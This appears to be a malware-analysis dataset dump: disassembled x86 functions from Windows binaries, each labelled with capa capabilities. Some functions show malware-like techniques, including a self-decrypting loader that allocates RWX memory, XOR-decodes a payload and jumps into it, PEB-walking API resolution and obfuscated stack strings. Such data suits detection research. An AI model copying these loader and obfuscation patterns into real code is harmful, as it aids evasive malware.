joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10008270
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x10008351
cmp dword [esi], 0
je 0x10008351
push ebx
xor ebx, ebx
call fcn.10007c50
mov esi, dword [esi]
call fcn.10007e70
mov esi, eax
test esi, esi
je 0x1000832d
inc dword [0x10050318]
push edi
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov ecx, dword [esi + 4]
mov edx, dword [esi]
mov edi, eax
lea eax, [ebp - 4]
push eax
push 0x40
push ecx
push edx
push edi
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.DLL_VirtualProtectEx]
test eax, eax
je 0x10008326
mov ecx, dword [esi]
xor eax, eax
cmp dword [esi + 4], eax
jbe 0x100082e2
mov dl, byte [esi + eax + 0x4c]
mov byte [eax + ecx], dl
inc eax
cmp eax, dword [esi + 4]
jb 0x100082d5
mov eax, dword [esi + 4]
mov ecx, dword [esi]
push eax
push ecx
mov ebx, 1
add dword [0x10050318], ebx
push edi
call dword [sym.imp.KERNEL32.DLL_FlushInstructionCache]
mov eax, dword [ebp - 4]
mov ecx, dword [esi + 4]
lea edx, [ebp - 4]
push edx
mov edx, dword [esi]
push eax
push ecx
push edx
push edi
call dword [sym.imp.KERNEL32.DLL_VirtualProtectEx]
mov eax, dword [esi]
mov ecx, dword [ebp + 8]
push 0
mov edx, esi
mov dword [ecx], eax
call fcn.10007ec0
add esp, 4
jmp 0x1000832c
inc dword [0x10050318]
pop edi
mov esi, 1
add dword [0x10050318], esi
push 0x100501d4
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
add dword [0x10050318], esi
mov eax, ebx
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
inc dword [0x10050318]
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10014776
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10028300]
jne 0x10014780
repz ret
jmp fcn.100164aa
Function at 0x1001f93c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10028300]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.10018cec
and dword [ebp - 0x14], 0
cmp dword [0x1005015c], 0
mov dword [ebp - 0x18], eax
jne 0x1001f9ef
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x1001fa97
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x1001fa97
mov esi, dword [sym.imp.KERNEL32.DLL_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x1005015c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x10050160], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x10050164], eax
call edi
push eax
call esi
mov dword [0x1005016c], eax
test eax, eax
je 0x1001f9ef
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x10050168], eax
mov eax, dword [0x10050168]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.DLL_DecodePointer]
cmp eax, ecx
je 0x1001fa48
cmp dword [0x1005016c], ecx
je 0x1001fa48
push eax
call esi
push dword [0x1005016c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x1001fa48
test ebx, ebx
je 0x1001fa48
call edi
test eax, eax
je 0x1001fa3f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x1001fa3f
test byte [ebp - 8], 1
jne 0x1001fa48
or dword [ebp + 0x10], 0x200000
jmp 0x1001fa7b
mov eax, dword [0x10050160]
cmp eax, dword [ebp - 0x18]
je 0x1001fa7b
push eax
call esi
test eax, eax
je 0x1001fa7b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1001fa7b
mov eax, dword [0x10050164]
cmp eax, dword [ebp - 0x18]
je 0x1001fa7b
push eax
call esi
test eax, eax
je 0x1001fa7b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x1005015c]
call esi
test eax, eax
je 0x1001fa97
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x1001fa99
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10014776
leave
ret

Function at 0x40a3d0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x14]
mov edi, 0x8b3374c3
dec ebp
or al, 0x51
jns 0x40a3e2
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
adc eax, sym.imp.KERNEL32.dll_TerminateProcess
test dword [esi + 0x75], esi
js 0x40a443
mov esi, dword [0x8bc098]
call esi
test eax, eax
jne 0x40a3fe
pop esi
pop ebp
sbb al, 8
add bh, bh
salc
call esi
add eax, 0x60afc80
pop esi
pop ebp
ret 1
inc eax
rol byte [eax], 0xd6
cmp ecx, dword [eax]
push 0x4057bb
push 0x3fa40a
push 0x6d4169db
push eax
mov fs, word [ecx - 0x143004f]
rcr byte [ebp - 0x3d], 0x90
nop
nop
salc
nop
nop
nop
nop
nop
nop
nop
nop
nop
invalid
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44c004]
jne 0x40100a
repz ret
jmp fcn.00401448

Function at 0x405615
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x44c004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00403715
and dword [ebp - 0x14], 0
cmp dword [0x44ed7c], 0
mov dword [ebp - 0x18], eax
jne 0x4056c8
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x405770
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x405770
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x44ed7c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x44ed80], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x44ed84], eax
call edi
push eax
call esi
mov dword [0x44ed8c], eax
test eax, eax
je 0x4056c8
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x44ed88], eax
mov eax, dword [0x44ed88]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x405721
cmp dword [0x44ed8c], ecx
je 0x405721
push eax
call esi
push dword [0x44ed8c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x405721
test ebx, ebx
je 0x405721
call edi
test eax, eax
je 0x405718
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x405718
test byte [ebp - 8], 1
jne 0x405721
or dword [ebp + 0x10], 0x200000
jmp 0x405754
mov eax, dword [0x44ed80]
cmp eax, dword [ebp - 0x18]
je 0x405754
push eax
call esi
test eax, eax
je 0x405754
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x405754
mov eax, dword [0x44ed84]
cmp eax, dword [ebp - 0x18]
je 0x405754
push eax
call esi
test eax, eax
je 0x405754
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x44ed7c]
call esi
test eax, eax
je 0x405770
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x405772
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
leave
ret
Function at 0x4443c0
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x44cdc0]
sub esp, 0x10
push ebx
mov ebx, dword [0x1f20f28]
push edi
mov edi, dword [0x1f21584]
push eax
call fcn.004442f0
add esp, 4
cmp dword [0x1f21584], 0x2f
jne 0x44441d
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x10]
push edx
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
call fcn.00444340
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4446c0
Capabilities:
Get disk information
Get file size

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1818
call fcn.004076f0
mov eax, dword [0x44c004]
xor eax, ebp
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
jmp 0x4446e9
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xbbe2a98
jge 0x44478e
cmp dword [0x1f21584], 0x8cf
jne 0x444732
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
lea ecx, [ebp - 0x818]
push ecx
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 8]
push ecx
push 0
lea edx, [ebp - 0x1018]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
cmp dword [ebp - 4], 0x845013
jne 0x444757
mov eax, dword [0x44dbe0]
mov dword [0x1f21584], eax
mov ecx, dword [0x1f21584]
add ecx, 0xa231
mov dword [0x1f21584], ecx
cmp dword [0x1f21584], 0x141
jne 0x444789
push str.viwesorihefukenapedumate_ronofo_virejesirahipuj_cafaloteceselu_dizupucucakixucafukiz
lea edx, [ebp - 0x1818]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov dword [0x44f2a0], 0xec58acac
mov dword [0x44f2a4], 0xffffffff
jmp 0x4446e0
call fcn.00444430
jmp dword [0x1f20f28]
Function at 0x408670
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.0040825d
push eax
push esi
push dword [ebp + 8]
call fcn.00408212
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.0040824d
scasb al, byte es:[edi]
dec ecx
sti
inc esi
mov byte [ebp - 0x84], bl
mov byte [ebp - 0x83], bl
mov byte [ebp - 0x82], 0xe9
mov byte [ebp - 0x81], bl
mov byte [ebp - 0x80], 0x51
mov byte [ebp - 0x7f], 0x73
mov byte [ebp - 0x7e], 0x62
mov byte [ebp - 0x7d], 0x5b
mov byte [ebp - 0x7c], 0x79
mov byte [ebp - 0x7b], 0x72
mov byte [ebp - 0x7a], 0x63
mov byte [ebp - 0x79], 0x7a
mov byte [ebp - 0x78], 0x73
mov byte [ebp - 0x77], 0x5e
mov byte [ebp - 0x76], 0x77
mov byte [ebp - 0x75], 0x78
mov byte [ebp - 0x74], 0x72
mov byte [ebp - 0x73], 0x7a
mov byte [ebp - 0x72], 0x73
mov byte [ebp - 0x71], 0x57
mov byte [ebp - 0x70], 0x16
call fcn.0040824d
enter 0xffffffffffff93c2, 0x58
lea eax, [ebp - 0x84]
push eax
call fcn.0040825d
push eax
push esi
push dword [ebp + 8]
call fcn.00408212
add esp, 0x10
mov dword [ebp - 0xc0], eax
push 0x40
push 0x1000
push dword [ebp + 0xc]
push ebx
call dword [ebp - 0x88]
mov esi, eax
cmp esi, ebx
je 0x408a46
push dword [ebp - 0xb4]
push dword [ebp + 0x10]
push esi
call fcn.004081be
add esp, 0xc
cmp word [edi + 6], bx
mov dword [ebp + 0xc], ebx
jbe 0x4087bd
movzx eax, word [ebp + 0xc]
mov ecx, dword [ebp - 0x44]
lea eax, [eax + eax*4]
push dword [ecx + eax*8 + 0x10]
lea eax, [ecx + eax*8]
mov ecx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add ecx, dword [ebp + 0x10]
add eax, esi
push ecx
push eax
call fcn.004081be
add esp, 0xc
inc dword [ebp + 0xc]
mov ax, word [ebp + 0xc]
cmp ax, word [edi + 6]
jb 0x40878a
call fcn.0040824d
invalid
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40a3ee
Capabilities:
Resolve function by parsing pe exports

Disassembly:
in al, dx
add ebp, 0x24
push esp
call fcn.0040824d
mov al, byte [0x646de50c]
mov eax, dword [0x30]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x1c]
lodsd eax, dword [esi]
cmp byte [eax + 0x1c], 0x18
je 0x40a411
xchg esi, eax
lodsd eax, dword [esi]
mov eax, dword [eax + 8]
push eax
call fcn.0040824d
pushfd
invalid
Function at 0x4065ee
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406612
xor eax, eax
test eax, eax
je 0x406625
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x406625
xor ecx, ecx
jmp 0x406628
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406751
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x427d8c], 0
push esi
jne 0x406788
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406762
mov dword [ecx*4 + 0x427d88], eax
inc ecx
cmp ecx, 0x100
jl 0x40675d
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4067b9
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x427d88]
xor eax, esi
inc ecx
dec edx
jne 0x40679b
pop edi
not eax
pop esi
ret 0xc

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x409420
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x40942f
pop dword [ebp - 0x2c]
mov eax, 0x40942f
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0xcad44899
sub dword [ebp - 0x3c], 0x7c82034e
mov dword [ebp - 0x38], 0x4dd48b60
add dword [ebp - 0x38], 0xe45ec0e5
mov dword [ebp - 0x34], 0xda276af8
sub dword [ebp - 0x34], 0x8ddb26ca
mov dword [ebp - 0x30], 0x7414065c
sub dword [ebp - 0x30], 0x7414065c
lea eax, [ebp - 0x3c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x1aa78a27
add dword [ebp - 0x3c], 0x59cadf2f
mov dword [ebp - 0x38], 0x65ec7f6d
sub dword [ebp - 0x38], 0x24801df8
mov dword [ebp - 0x34], 0x9d6e82e
sub dword [ebp - 0x34], 0xa6677bc2
mov dword [ebp - 0x30], 0x8acdc19
add dword [ebp - 0x30], 0xf75323e7
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0x52b8e48f
sub eax, 0x52781443
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x39946
push 0
call eax
mov ecx, 0x482a
mov ebx, eax
mov edx, 0xb864359c
sub edx, 0xb822859c
add edx, dword [ebp - 0x2c]
mov edi, 0x772748d7
mov dword [ebp - 0x20], 0xc8c0ce6b
mov esi, dword [edx]
mov dword [ebp - 0xc], 0xc8dc6f46
xor esi, edi
sub dword [ebp - 0x24], ebx
mov dword [ebx], esi
mov dword [ebp - 0x20], 0x5da5ee58
add ebx, 0x56b46344
add ebx, 0xa94b9cc0
add edx, 4
loop 0x40953b
add eax, 0xd2d9fbc2
sub eax, 0xd2d8e847
xor ebx, ebx
add ebx, eax
add eax, 0xdffc869e
add eax, 0x20037967
mov ecx, 0x73146fe8
sub ecx, 0x72d46fe8
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0xc8b60
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov eax, dword [0x45e008]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x14], 0
jne 0xc8b9f
mov ecx, dword [ebp - 0x18]
call fcn.000c9010
movzx ecx, al
test ecx, ecx
jne 0xc8b9f
mov edx, dword [ebp - 0x18]
mov dword [edx + 0x44], 0x4593c0
mov eax, 0xe
jmp 0xc8e55
mov ecx, dword [ebp - 0x18]
call fcn.000ca700
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0xc], 0x20
je 0xc8b9f
mov ecx, dword [ebp - 0x18]
cmp dword [ecx + 0xc], 9
je 0xc8b9f
mov edx, dword [ebp - 0x18]
cmp dword [edx + 0xc], 0xa
je 0xc8b9f
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0xc], 0xd
je 0xc8b9f
mov ecx, dword [ebp - 0x18]
movzx edx, byte [ecx + 8]
test edx, edx
je 0xc8c26
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0xc], 0x2f
jne 0xc8c26
mov ecx, dword [ebp - 0x18]
call fcn.000c98c0
movzx ecx, al
test ecx, ecx
jne 0xc8bf8
mov eax, 0xe
jmp 0xc8e55
mov ecx, dword [ebp - 0x18]
call fcn.000ca700
mov edx, dword [ebp - 0x18]
cmp dword [edx + 0xc], 0x20
je 0xc8bf8
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0xc], 9
je 0xc8bf8
mov ecx, dword [ebp - 0x18]
cmp dword [ecx + 0xc], 0xa
je 0xc8bf8
mov edx, dword [ebp - 0x18]
cmp dword [edx + 0xc], 0xd
je 0xc8bf8
jmp 0xc8bcb
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
add edx, 1
mov dword [ebp - 0x20], edx
cmp dword [ebp - 0x20], 0x7e
ja 0xc8e46
mov eax, dword [ebp - 0x20]
movzx ecx, byte [eax + 0x418298]
jmp dword [ecx*4 + 0x418264]
mov edx, dword [ebp - 0x18]
mov dword [edx + 0x44], 0x4593f0
mov eax, 0xe
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.000e88f8
mov esp, ebp
pop ebp
ret
Function at 0x40b6a0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [esp], 1
call dword [0x40daac]
mov dword [esp], eax
call dword [sym.imp.msvcrt.dll_fflush]
mov dword [esp], 1
call dword [sym.imp.kernel32.dll_ExitProcess]

Function at 0x40bfc0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x30
lea eax, [esp + 0x2c]
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], eax
lea eax, [esp + 0x28]
mov dword [esp + 8], eax
lea eax, [esp + 0x24]
mov dword [esp + 4], eax
lea eax, [esp + 0x20]
mov dword [esp], eax
mov dword [esp + 0x2c], 0
call sub.msvcrt.dll___getmainargs
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call sub.msvcrt.dll___set_app_type
mov eax, dword [esp + 0x28]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call fcn.0040c960
mov dword [esp], eax
call sub.msvcrt.dll_exit
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebp
mov ebp, esp
and esp, 0xfffffff0
call sub.msvcrt.dll___iob_func
mov edx, dword [ebp + 8]
leave
shl edx, 5
add eax, edx
ret
Function at 0x6fa100
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 4], 0
je 0x6fa122
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x65]
inc eax
xor byte [edx], cl
cmp eax, 3
jb 0x6fa110
mov byte [esi + 4], 0
mov eax, esi
pop esi
ret

Function at 0x6fa130
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 6], 0
je 0x6fa152
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x65]
inc eax
xor byte [edx], cl
cmp eax, 5
jb 0x6fa140
mov byte [esi + 6], 0
mov eax, esi
pop esi
ret
Function at 0x6fb060
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 3], 0
je 0x6fb082
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x65]
inc eax
xor byte [edx], cl
cmp eax, 2
jb 0x6fb070
mov byte [esi + 3], 0
mov eax, esi
pop esi
ret

Function at 0x6fb090
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
movaps xmm0, xmmword [0x816c60]
mov dword [ebp - 0xc], ecx
xor ecx, ecx
movups xmmword [ebp - 0x31], xmm0
mov dword [ebp - 0x21], 0xcfc0dec4
mov dword [ebp - 0x1d], 0xdcded9db
mov word [ebp - 0x19], 0x100
nop word [eax + eax]
lea eax, [ecx - 0x65]
xor byte [ebp + ecx - 0x31], al
inc ecx
cmp ecx, 0x18
jb 0x6fb0c0
mov byte [ebp - 0x18], 0
xor ecx, ecx
mov dword [ebp - 0x17], 0xf2f9e8f5
mov dword [ebp - 0x13], 0xcec58ef3
mov word [ebp - 0xf], 0xcf
mov byte [ebp - 0xd], 1
nop dword [eax + eax]
lea eax, [ecx - 0x65]
xor byte [ebp + ecx - 0x17], al
inc ecx
cmp ecx, 9
jb 0x6fb0f0
push ebx
push esi
push edi
lea eax, [ebp - 0x17]
mov byte [ebp - 0xd], 0
push eax
call dword [0x7fd064]
lea ecx, [ebp - 0x31]
push ecx
push eax
call dword [0x7fd0d8]
mov ebx, eax
xor edi, edi
mov dword [ebp - 8], ebx
call dword [0x7fd0f8]
mov dword [ebp - 4], eax
test eax, eax
je 0x6fb1ab
mov esi, dword [0x8254b4]
push esi
push edi
push eax
call dword [0x7fd0cc]
push 0
push esi
mov edi, eax
push edi
push 0x40
call ebx
mov ebx, eax
mov eax, dword [0x7fd1e8]
cmp ebx, 0xc0000004
jne 0x6fb18c
mov ebx, dword [ebp - 4]
push edi
push 0
push ebx
call eax
add esi, esi
cmp esi, 0x10000000
ja 0x6fb1a1
push esi
push 0
push ebx
call dword [0x7fd0cc]
push 0
push esi
mov edi, eax
push edi
push 0x40
call dword [ebp - 8]
mov ebx, eax
mov eax, dword [0x7fd1e8]
cmp ebx, 0xc0000004
je 0x6fb155
test ebx, ebx
jns 0x6fb1b1
push edi
push 0
push dword [ebp - 4]
call eax
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 0xc]
mov ebx, dword [ebp - 0xc]
mov eax, dword [0x8254b4]
cmp esi, 0x200000
cmovbe eax, esi
mov dword [0x8254b4], eax
mov eax, dword [ebp - 0xc]
mov dword [eax], edi
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x6fb1e0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0xa], 0
je 0x6fb202
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x65]
inc eax
xor byte [edx], cl
cmp eax, 9
jb 0x6fb1f0
mov byte [esi + 0xa], 0
mov eax, esi
pop esi
ret

Function at 0x6fb210
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x19], 0
je 0x6fb232
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x65]
inc eax
xor byte [edx], cl
cmp eax, 0x18
jb 0x6fb220
mov byte [esi + 0x19], 0
mov eax, esi
pop esi
ret

Function at 0x6fb350
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0xe], 0
je 0x6fb372
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x65]
inc eax
xor byte [edx], cl
cmp eax, 0xd
jb 0x6fb360
mov byte [esi + 0xe], 0
mov eax, esi
pop esi
ret
Function at 0x6fb380
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x16], 0
je 0x6fb3a2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x65]
inc eax
xor byte [edx], cl
cmp eax, 0x15
jb 0x6fb390
mov byte [esi + 0x16], 0
mov eax, esi
pop esi
ret
Function at 0x6fb7b0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x12], 0
je 0x6fb7d2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x65]
inc eax
xor byte [edx], cl
cmp eax, 0x11
jb 0x6fb7c0
mov byte [esi + 0x12], 0
mov eax, esi
pop esi
ret